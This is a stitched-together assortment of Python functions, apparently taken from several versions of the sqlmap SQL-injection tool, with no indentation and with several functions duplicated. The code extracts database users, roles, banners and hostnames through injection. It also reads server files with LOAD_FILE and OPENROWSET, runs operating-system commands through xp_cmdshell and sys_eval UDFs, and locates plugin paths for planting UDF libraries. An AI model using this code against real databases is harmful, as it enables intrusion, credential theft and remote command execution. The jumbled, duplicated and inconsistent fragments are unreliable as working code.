def getBanner(self):
if not conf.getBanner:
return
if kb.data.banner is None:
infoMsg = "fetching banner"
logger.info(infoMsg)
if Backend.isDbms(DBMS.DB2):
rootQuery = queries[DBMS.DB2].banner
for query in (rootQuery.query, rootQuery.query2):
kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
if kb.data.banner:
break
else:
query = queries[Backend.getIdentifiedDbms()].banner.query
kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
bannerParser(kb.data.banner)
if conf.os and conf.os == "windows":
kb.bannerFp["type"] = set(["Windows"])
elif conf.os and conf.os == "linux":
kb.bannerFp["type"] = set(["Linux"])
elif conf.os:
kb.bannerFp["type"] = set(["%s%s" % (conf.os[0].upper(), conf.os[1:])])
if conf.os:
setOs()
return kb.data.banner
def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
rootQuery = queries[Backend.getIdentifiedDbms()].users
condition = (Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")))
condition |= (Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if condition:
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
values = inject.getValue(query, blind=False, time=False)
if not isNoneValue(values):
kb.data.cachedUsers = []
for value in arrayizeValue(values):
value = unArrayizeValue(value)
if not isNoneValue(value):
kb.data.cachedUsers.append(value)
if not kb.data.cachedUsers and isInferenceAvailable() and not conf.direct:
infoMsg = "fetching number of database users"
logger.info(infoMsg)
if condition:
query = rootQuery.blind.count2
else:
query = rootQuery.blind.count
count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if count == 0:
return kb.data.cachedUsers
elif not isNumPosStrValue(count):
errMsg = "unable to retrieve the number of database users"
raise SqlmapNoneDataException(errMsg)
plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2)
indexRange = getLimitRange(count, plusOne=plusOne)
for index in indexRange:
if Backend.getIdentifiedDbms() in (DBMS.SYBASE, DBMS.MAXDB):
query = rootQuery.blind.query % (kb.data.cachedUsers[-1] if kb.data.cachedUsers else " ")
elif condition:
query = rootQuery.blind.query2 % index
else:
query = rootQuery.blind.query % index
user = unArrayizeValue(inject.getValue(query, union=False, error=False))
if user:
kb.data.cachedUsers.append(user)
if not kb.data.cachedUsers:
errMsg = "unable to retrieve the database users"
logger.error(errMsg)
return kb.data.cachedUsers
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
if conf.direct:
output = self.xpCmdshellExecCmd(cmd)
if output and isinstance(output, (list, tuple)):
new_output = ""
for line in output:
if line == "NULL":
new_output += "\n"
else:
new_output += "%s\n" % line.strip("\r")
output = new_output
else:
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
output = inject.getValue(query, resumeValue=False, blind=False)
else:
output = []
count = inject.getValue("SELECT COUNT(*) FROM %s" % self.cmdTblName, resumeValue=False, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(count):
for index in getLimitRange(count):
query = agent.limitQuery(index, query, self.tblField)
output.append(inject.getValue(query, inband=False, error=False, resumeValue=False))
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if output and isListLike(output) and len(output) > 1:
if not output[0].strip():
output = output[1:]
elif not output[-1].strip():
output = output[:-1]
return output
def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
if conf.direct:
output = self.xpCmdshellExecCmd(cmd)
if output and isinstance(output, (list, tuple)):
new_output = ""
for line in output:
if line == "NULL":
new_output += "\n"
else:
new_output += "%s\n" % line.strip("\r")
output = new_output
else:
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
# When user provides DBMS credentials (with --dbms-cred), the
# command standard output is redirected to a temporary file
# The file needs to be copied to the support table,
# 'sqlmapoutput'
if conf.dbmsCred:
inject.goStacked(
"BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')"
% (self.cmdTblName, self.tmpFile, randomStr(10), randomStr(10))
)
self.delRemoteFile(self.tmpFile)
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
if conf.direct or any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)):
output = inject.getValue(query, resumeValue=False, blind=False, time=False)
else:
output = []
count = inject.getValue(
"SELECT COUNT(*) FROM %s" % self.cmdTblName,
resumeValue=False,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS,
)
if isNumPosStrValue(count):
for index in getLimitRange(count):
query = agent.limitQuery(index, query, self.tblField)
output.append(inject.getValue(query, union=False, error=False, resumeValue=False))
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
if output and isListLike(output) and len(output) > 1:
if not (output[0] or "").strip():
output = output[1:]
elif not (output[-1] or "").strip():
output = output[:-1]
output = "\n".join(line for line in filter(None, output))
return output
def getDbs(self):
if kb.dbms == "MySQL" and not self.has_information_schema:
warnMsg = "information_schema not available, "
warnMsg += "back-end DBMS is MySQL < 5. database "
warnMsg += "names will be fetched from 'mysql' database"
logger.warn(warnMsg)
infoMsg = "fetching database names"
logger.info(infoMsg)
rootQuery = queries[kb.dbms].dbs
if conf.unionUse:
if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["inband"]["query2"]
else:
query = rootQuery["inband"]["query"]
value = inject.getValue(query, blind=False)
if value:
self.cachedDbs = value
if not self.cachedDbs:
infoMsg = "fetching number of databases"
logger.info(infoMsg)
if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["blind"]["count2"]
else:
query = rootQuery["blind"]["count"]
count = inject.getValue(query, inband=False, expected="int")
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of databases"
raise sqlmapNoneDataException, errMsg
indexRange = getRange(count)
for index in indexRange:
if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["blind"]["query2"] % index
else:
query = rootQuery["blind"]["query"] % index
db = inject.getValue(query, inband=False)
if db:
self.cachedDbs.append(db)
if not self.cachedDbs:
errMsg = "unable to retrieve the database names"
raise sqlmapNoneDataException, errMsg
return self.cachedDbs
def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
rootQuery = queries[kb.dbms].users
condition = ( kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ) )
condition |= ( kb.dbms == "MySQL" and not self.has_information_schema )
if conf.unionUse:
if condition:
query = rootQuery["inband"]["query2"]
else:
query = rootQuery["inband"]["query"]
value = inject.getValue(query, blind=False)
if value:
self.cachedUsers = value
if not self.cachedUsers:
infoMsg = "fetching number of database users"
logger.info(infoMsg)
if condition:
query = rootQuery["blind"]["count2"]
else:
query = rootQuery["blind"]["count"]
count = inject.getValue(query, inband=False, expected="int")
if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the number of database users"
raise sqlmapNoneDataException, errMsg
indexRange = getRange(count)
for index in indexRange:
if condition:
query = rootQuery["blind"]["query2"] % index
else:
query = rootQuery["blind"]["query"] % index
user = inject.getValue(query, inband=False)
if user:
self.cachedUsers.append(user)
if not self.cachedUsers:
errMsg = "unable to retrieve the database users"
raise sqlmapNoneDataException, errMsg
return self.cachedUsers
def checkDbms(self):
if conf.dbms in ORACLE_ALIASES:
setDbms("Oracle")
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
if not conf.extensiveFp:
return True
logMsg = "testing Oracle"
logger.info(logMsg)
query = "LENGTH(SYSDATE)"
sysdate = inject.getValue(query)
if sysdate and int(sysdate) > 0:
logMsg = "confirming Oracle"
logger.info(logMsg)
query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
version = inject.getValue(query)
if not version:
warnMsg = "the back-end DMBS is not Oracle"
logger.warn(warnMsg)
return False
setDbms("Oracle")
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
if not conf.extensiveFp:
return True
if re.search("^11", version):
kb.dbmsVersion = ["11i"]
elif re.search("^10", version):
kb.dbmsVersion = ["10g"]
elif re.search("^9", version):
kb.dbmsVersion = ["9i"]
elif re.search("^8", version):
kb.dbmsVersion = ["8i"]
return True
else:
warnMsg = "the back-end DMBS is not Oracle"
logger.warn(warnMsg)
return False
def udfSetRemotePath(self):
self.getVersionFromBanner()
banVer = kb.bannerFp["dbmsVersion"]
if banVer >= "5.0.67":
if self.__plugindir is None:
logger.info("retrieving MySQL plugin directory absolute path")
self.__plugindir = unArrayizeValue(inject.getValue("SELECT @@plugin_dir"))
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
if self.__plugindir is None and banVer >= "5.1.19":
logger.info("retrieving MySQL base directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir"))
if isWindowsDriveLetterPath(self.__basedir or ""):
Backend.setOs(OS.WINDOWS)
else:
Backend.setOs(OS.LINUX)
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
if Backend.isOs(OS.WINDOWS):
self.__plugindir = "%s/lib/plugin" % self.__basedir
else:
self.__plugindir = "%s/lib/mysql/plugin" % self.__basedir
self.__plugindir = ntToPosixSlashes(normalizePath(self.__plugindir)) or '.'
self.udfRemoteFile = "%s/%s.%s" % (self.__plugindir, self.udfSharedLibName, self.udfSharedLibExt)
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
else:
#logger.debug("retrieving MySQL data directory absolute path")
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
#self.__datadir = inject.getValue("SELECT @@datadir")
# NOTE: specifying the relative path as './udf.dll'
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
self.__datadir = '.'
self.__datadir = ntToPosixSlashes(normalizePath(self.__datadir))
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
def _tableGetCount(self, db, table):
if not db or not table:
return None
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
db = db.upper()
table = table.upper()
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.FIREBIRD):
query = "SELECT %s FROM %s" % (
queries[Backend.getIdentifiedDbms()].count.query % "*",
safeSQLIdentificatorNaming(table, True),
)
else:
query = "SELECT %s FROM %s.%s" % (
queries[Backend.getIdentifiedDbms()].count.query % "*",
safeSQLIdentificatorNaming(db),
safeSQLIdentificatorNaming(table, True),
)
count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(count):
if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts:
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {}
if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]:
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append(
safeSQLIdentificatorNaming(table, True)
)
else:
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [
safeSQLIdentificatorNaming(table, True)
]
def checkDbms(self):
if not conf.extensiveFp and (Backend.isDbmsWithin(SYBASE_ALIASES) \
or (conf.dbms or "").lower() in SYBASE_ALIASES) and Backend.getVersion() and \
Backend.getVersion().isdigit():
setDbms("%s %s" % (DBMS.SYBASE, Backend.getVersion()))
self.getBanner()
Backend.setOs(OS.WINDOWS)
return True
infoMsg = "testing %s" % DBMS.SYBASE
logger.info(infoMsg)
if conf.direct:
result = True
else:
result = inject.checkBooleanExpression("@@transtate=@@transtate")
if result:
infoMsg = "confirming %s" % DBMS.SYBASE
logger.info(infoMsg)
result = inject.checkBooleanExpression("suser_id()=suser_id()")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
logger.warn(warnMsg)
return False
setDbms(DBMS.SYBASE)
self.getBanner()
if not conf.extensiveFp:
return True
infoMsg = "actively fingerprinting %s" % DBMS.SYBASE
logger.info(infoMsg)
result = unArrayizeValue(inject.getValue("SUBSTRING(@@VERSION,1,1)"))
if result and result.isdigit():
Backend.setVersion(str(result))
else:
for version in xrange(12, 16):
result = inject.checkBooleanExpression("PATINDEX('%%/%d[./]%%',@@VERSION)>0" % version)
if result:
Backend.setVersion(str(version))
break
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.SYBASE
logger.warn(warnMsg)
return False
def unionReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
return result
def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
if udfName is None:
udfName = "sys_eval"
if conf.direct:
output = self.udfExecCmd(cmd, udfName=udfName)
if output and isinstance(output, (list, tuple)):
new_output = ""
for line in output:
new_output += line.replace("\r", "\n")
output = new_output
else:
cmd = unescaper.escape(self.udfForgeCmd(cmd))
inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
output = unArrayizeValue(
inject.getValue(
"SELECT %s FROM %s" % (self.tblField, self.cmdTblName),
resumeValue=False,
firstChar=first,
lastChar=last,
safeCharEncode=False,
)
)
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
return output
def _tableGetCount(self, db, table):
if Backend.isDbms(DBMS.DB2):
query = "SELECT %s FROM %s.%s--" % (
queries[Backend.getIdentifiedDbms()].count.query % "*",
safeSQLIdentificatorNaming(db.upper()),
safeSQLIdentificatorNaming(table.upper(), True),
)
else:
query = "SELECT %s FROM %s.%s" % (
queries[Backend.getIdentifiedDbms()].count.query % "*",
safeSQLIdentificatorNaming(db),
safeSQLIdentificatorNaming(table, True),
)
count = inject.getValue(query, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if isNumPosStrValue(count):
if safeSQLIdentificatorNaming(db) not in kb.data.cachedCounts:
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)] = {}
if int(count) in kb.data.cachedCounts[safeSQLIdentificatorNaming(db)]:
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)].append(
safeSQLIdentificatorNaming(table, True)
)
else:
kb.data.cachedCounts[safeSQLIdentificatorNaming(db)][int(count)] = [
safeSQLIdentificatorNaming(table, True)
]
def getVersionFromBanner(self):
if "dbmsVersion" in kb.bannerFp:
return
infoMsg = "detecting back-end DBMS version from its banner"
logger.info(infoMsg)
if kb.dbms == DBMS.MYSQL:
first, last = 1, 6
elif kb.dbms == DBMS.POSTGRESQL:
first, last = 12, 6
elif kb.dbms == DBMS.MSSQL:
first, last = 29, 9
else:
raise sqlmapUnsupportedFeatureException, "unsupported DBMS"
query = queries[kb.dbms].substring.query % (queries[kb.dbms].banner.query, first, last)
if conf.direct:
query = "SELECT %s" % query
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
def nonStackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
return result
def getVersionFromBanner(self):
if "dbmsVersion" in kb.bannerFp:
return
infoMsg = "detecting back-end DBMS version from its banner"
logger.info(infoMsg)
if Backend.isDbms(DBMS.MYSQL):
first, last = 1, 6
elif Backend.isDbms(DBMS.PGSQL):
first, last = 12, 6
elif Backend.isDbms(DBMS.MSSQL):
first, last = 29, 9
else:
raise SqlmapUnsupportedFeatureException("unsupported DBMS")
query = queries[Backend.getIdentifiedDbms()].substring.query % (queries[Backend.getIdentifiedDbms()].banner.query, first, last)
if conf.direct:
query = "SELECT %s" % query
kb.bannerFp["dbmsVersion"] = unArrayizeValue(inject.getValue(query))
kb.bannerFp["dbmsVersion"] = (kb.bannerFp["dbmsVersion"] or "").replace(",", "").replace("-", "").replace(" ", "")
def _(pivotValue):
if column == colList[0]:
query = dumpNode.query.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, column), unescaper.escape(pivotValue, False))
else:
query = dumpNode.query2.replace("'%s'", "%s") % (agent.preprocessField(table, column), table, agent.preprocessField(table, colList[0]), unescaper.escape(pivotValue, False))
return unArrayizeValue(inject.getValue(query, blind=blind, time=blind, union=not blind, error=not blind))
def getRemoteTempPath(self):
if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL):
_ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False))
if _:
conf.tmpPath = ntpath.dirname(_)
if not conf.tmpPath:
if Backend.isOs(OS.WINDOWS):
if conf.direct:
conf.tmpPath = "%TEMP%"
else:
self.checkDbmsOs(detailed=True)
if Backend.getOsVersion() in ("2000", "NT"):
conf.tmpPath = "C:/WINNT/Temp"
elif Backend.isOs("XP"):
conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp"
else:
conf.tmpPath = "C:/Windows/Temp"
else:
conf.tmpPath = "/tmp"
if re.search(r"\A[\w]:[\/\\]+", conf.tmpPath, re.I):
Backend.setOs(OS.WINDOWS)
conf.tmpPath = normalizePath(conf.tmpPath)
conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath)
return conf.tmpPath
def checkDbmsOs(self, detailed=False):
if kb.os:
return
infoMsg = "fingerprinting the back-end DBMS operating system"
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "character(10000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
# Windows executables should always have ' Visual C++' or ' mingw'
# patterns within the banner
osWindows = ( " Visual C++", "mingw" )
for osPattern in osWindows:
query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField)
query += "LIKE '%" + osPattern + "%')>0"
query = agent.forgeCaseStatement(query)
if inject.getValue(query, charsetType=1, suppressOutput=True) == "1":
kb.os = "Windows"
break
if kb.os is None:
kb.os = "Linux"
infoMsg = "the back-end DBMS operating system is %s" % kb.os
logger.info(infoMsg)
self.cleanup(onlyFileTbl=True)
def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile
logger.info(infoMsg)
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
self.getRemoteTempPath()
tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
debugMsg = "saving hexadecimal encoded content of file '%s' " % rFile
debugMsg += "into temporary file '%s'" % tmpFile
logger.debug(debugMsg)
inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (rFile, tmpFile))
debugMsg = "loading the content of hexadecimal encoded file "
debugMsg += "'%s' into support table" % rFile
logger.debug(debugMsg)
inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(length):
warnMsg = "unable to retrieve the content of the "
warnMsg += "file '%s'" % rFile
if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
warnMsg += ", going to fall-back to simpler UNION technique"
logger.warn(warnMsg)
result = self.nonStackedReadFile(rFile)
else:
raise SqlmapNoneDataException(warnMsg)
else:
length = int(length)
sustrLen = 1024
if length > sustrLen:
result = []
for i in xrange(1, length, sustrLen):
chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, sustrLen, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
result.append(chunk)
else:
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
return result
def _checkFileLength(self, localFile, remoteFile, fileRead=False):
if Backend.isDbms(DBMS.MYSQL):
lengthQuery = "LENGTH(LOAD_FILE('%s'))" % remoteFile
elif Backend.isDbms(DBMS.PGSQL) and not fileRead:
lengthQuery = "SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid=%d" % self.oid
elif Backend.isDbms(DBMS.MSSQL):
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
inject.goStacked(
"INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)"
% (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField)
)
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
try:
localFileSize = os.path.getsize(localFile)
except OSError:
warnMsg = "file '%s' is missing" % localFile
logger.warn(warnMsg)
localFileSize = 0
if fileRead and Backend.isDbms(DBMS.PGSQL):
logger.info("length of read file '%s' cannot be checked on PostgreSQL" % remoteFile)
sameFile = True
else:
logger.debug("checking the length of the remote file '%s'" % remoteFile)
remoteFileSize = inject.getValue(
lengthQuery, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS
)
sameFile = None
if isNumPosStrValue(remoteFileSize):
remoteFileSize = long(remoteFileSize)
localFile = getUnicode(localFile, encoding=sys.getfilesystemencoding())
sameFile = False
if localFileSize == remoteFileSize:
sameFile = True
infoMsg = "the local file '%s' and the remote file " % localFile
infoMsg += "'%s' have the same size (%d B)" % (remoteFile, localFileSize)
elif remoteFileSize > localFileSize:
infoMsg = "the remote file '%s' is larger (%d B) than " % (remoteFile, remoteFileSize)
infoMsg += "the local file '%s' (%dB)" % (localFile, localFileSize)
else:
infoMsg = "the remote file '%s' is smaller (%d B) than " % (remoteFile, remoteFileSize)
infoMsg += "file '%s' (%d B)" % (localFile, localFileSize)
logger.info(infoMsg)
else:
sameFile = False
warnMsg = "it looks like the file has not been written (usually "
warnMsg += "occurs if the DBMS process user has no write "
warnMsg += "privileges in the destination path)"
logger.warn(warnMsg)
return sameFile
def getCurrentDb(self):
infoMsg = "fetching current database"
logger.info(infoMsg)
query = queries[Backend.getIdentifiedDbms()].current_db.query
if not kb.data.currentDb:
kb.data.currentDb = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
return kb.data.currentDb
def __checkExistUdf(self, udf):
logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[kb.dbms].checkUdf % (udf, udf))
exists = inject.getValue(query, resumeValue=False, unpack=False, charsetType=2)
if exists == "1":
return True
else:
return False
def getCurrentUser(self):
infoMsg = "fetching current user"
logger.info(infoMsg)
query = queries[Backend.getIdentifiedDbms()].current_user.query
if not kb.data.currentUser:
kb.data.currentUser = unArrayizeValue(inject.getValue(query))
return kb.data.currentUser
def getHostname(self):
infoMsg = "fetching server hostname"
logger.info(infoMsg)
query = queries[Backend.getIdentifiedDbms()].hostname.query
if not kb.data.hostname:
kb.data.hostname = unArrayizeValue(inject.getValue(query, safeCharEncode=False))
return kb.data.hostname
def __checkExistUdf(self, udf):
logger.info("checking if UDF '%s' already exist" % udf)
query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf))
exists = inject.getValue(query, resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
if exists == "1":
return True
else:
return False
def getRoles(self, query2=False):
infoMsg = "fetching database users roles"
rootQuery = queries[DBMS.ORACLE].roles
if conf.user == CURRENT_USER:
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
# Set containing the list of DBMS administrators
areAdmins = set()
if any(
isTechniqueAvailable(_)
for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if query2:
query = rootQuery.inband.query2
condition = rootQuery.inband.condition2
else:
query = rootQuery.inband.query
condition = rootQuery.inband.condition
if conf.user:
users = conf.user.split(',')
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user)
for user in sorted(users))
values = inject.getValue(query, blind=False, time=False)
if not values and not query2:
infoMsg = "trying with table 'USER_ROLE_PRIVS'"
logger.info(infoMsg)
return self.getRoles(query2=True)
if not isNoneValue(values):
for value in values:
user = None
roles = set()
for count in xrange(0, len(value or [])):
# The first column is always the username
if count == 0:
user = value[count]
# The other columns are the roles
else:
role = value[count]
# In Oracle we get the list of roles as string
roles.add(role)
if user in kb.data.cachedUsersRoles:
kb.data.cachedUsersRoles[user] = list(
roles.union(kb.data.cachedUsersRoles[user]))
else:
kb.data.cachedUsersRoles[user] = list(roles)
if not kb.data.cachedUsersRoles and isInferenceAvailable(
) and not conf.direct:
if conf.user:
users = conf.user.split(',')
else:
if not len(kb.data.cachedUsers):
users = self.getUsers()
else:
users = kb.data.cachedUsers
retrievedUsers = set()
for user in users:
unescapedUser = None
if user in retrievedUsers:
continue
infoMsg = "fetching number of roles "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if unescapedUser:
queryUser = unescapedUser
else:
queryUser = user
if query2:
query = rootQuery.blind.count2 % queryUser
else:
query = rootQuery.blind.count % queryUser
count = inject.getValue(query,
union=False,
error=False,
expected=EXPECTED.INT,
charsetType=CHARSET_TYPE.DIGITS)
if not isNumPosStrValue(count):
if count != 0 and not query2:
infoMsg = "trying with table 'USER_SYS_PRIVS'"
logger.info(infoMsg)
return self.getPrivileges(query2=True)
warnMsg = "unable to retrieve the number of "
warnMsg += "roles for user '%s'" % user
logger.warn(warnMsg)
continue
infoMsg = "fetching roles for user '%s'" % user
logger.info(infoMsg)
roles = set()
indexRange = getLimitRange(count, plusOne=True)
for index in indexRange:
if query2:
query = rootQuery.blind.query2 % (queryUser, index)
else:
query = rootQuery.blind.query % (queryUser, index)
role = inject.getValue(query, union=False, error=False)
# In Oracle we get the list of roles as string
roles.add(role)
if roles:
kb.data.cachedUsersRoles[user] = list(roles)
else:
warnMsg = "unable to retrieve the roles "
warnMsg += "for user '%s'" % user
logger.warn(warnMsg)
retrievedUsers.add(user)
if not kb.data.cachedUsersRoles:
errMsg = "unable to retrieve the roles "
errMsg += "for the database users"
raise SqlmapNoneDataException(errMsg)
for user, privileges in kb.data.cachedUsersRoles.items():
if isAdminFromPrivileges(privileges):
areAdmins.add(user)
return kb.data.cachedUsersRoles, areAdmins
def checkDbms(self):
"""
References for fingerprint:
* http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html
* http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html
* http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html
"""
if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("MySQL %s" % kb.dbmsVersion[0])
if int(kb.dbmsVersion[0]) >= 5:
self.has_information_schema = True
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
return True
logMsg = "testing MySQL"
logger.info(logMsg)
randInt = str(randomInt(1))
query = "CONCAT('%s', '%s')" % (randInt, randInt)
if inject.getValue(query) == (randInt * 2):
logMsg = "confirming MySQL"
logger.info(logMsg)
query = "LENGTH('%s')" % randInt
if not inject.getValue(query) == "1":
warnMsg = "the back-end DMBS is not MySQL"
logger.warn(warnMsg)
return False
# Determine if it is MySQL >= 5.0.0
if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt) == randInt:
setDbms("MySQL 5")
self.has_information_schema = True
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
kb.dbmsVersion = [">= 5.0.0"]
return True
# Check if it is MySQL >= 6.0.3
if inject.getValue("SELECT %s FROM information_schema.PARAMETERS LIMIT 0, 1" % randInt) == randInt:
if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 6.0.5"]
else:
kb.dbmsVersion = [">= 6.0.3", "< 6.0.5"]
# Or if it MySQL >= 5.1.2 and < 6.0.3
elif inject.getValue("MID(@@plugin_dir, 1, 1)"):
if inject.getValue("SELECT %s FROM information_schema.PROFILING LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.28", "< 6.0.3"]
elif inject.getValue("MID(@@innodb_stats_on_metadata, 1, 1)"):
kb.dbmsVersion = [">= 5.1.17", "< 5.1.28"]
elif inject.getValue("SELECT %s FROM information_schema.REFERENTIAL_CONSTRAINTS LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.10", "< 5.1.17"]
elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt) == randInt:
kb.dbmsVersion = [">= 5.1.7", "< 5.1.10"]
